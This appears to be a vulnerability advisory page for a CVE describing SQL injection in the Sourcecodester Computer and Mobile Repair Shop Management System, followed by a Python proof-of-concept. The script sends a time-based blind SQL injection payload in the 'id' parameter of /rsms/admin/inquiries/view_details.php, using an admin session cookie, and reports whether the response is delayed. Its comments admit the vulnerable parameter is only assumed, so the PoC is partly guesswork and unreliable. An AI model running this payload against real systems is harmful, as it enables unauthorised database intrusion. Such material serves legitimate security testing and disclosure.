Sourcecodester Computer and Mobile Repair Shop Management System v1.0 is vulnerable to SQL injection in the file /rsms/admin/inquiries/view_details.php.
Sourcecodester Computer and Mobile Repair Shop Management System 1.0
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# PoC for CVE-2026-36946
# Target: Sourcecodester Computer and Mobile Repair Shop Management System v1.0
# Endpoint: /rsms/admin/inquiries/view_details.php
import requests
def check_sqli(target_url, session_cookie):
# Assuming the vulnerable parameter is 'id' based on the filename 'view_details.php'
# Payload to check for time-based blind SQL injection
payload = "1' AND SLEEP(5)-- -"
headers = {
"Cookie": f"PHPSESSID={session_cookie}"
}
params = {
"id": payload
}
try:
print(f"[+] Sending payload to {target_url}")
response = requests.get(target_url, headers=headers, params=params, timeout=10)
# If response time is greater than 5 seconds, it indicates the SQL was executed
if response.elapsed.total_seconds() >= 5:
print("[+] Vulnerability confirmed! The application is vulnerable to SQL Injection.")
else:
print("[-] Vulnerability not detected or payload incorrect.")
except requests.exceptions.RequestException as e:
print(f"[!] Error occurred: {e}")
if __name__ == "__main__":
# Replace with actual target URL and a valid authenticated session cookie
# Note: Exploitation requires High Privileges (Admin)
target = "http://localhost/rsms/admin/inquiries/view_details.php"
session = "valid_admin_session_id_here"
check_sqli(target, session)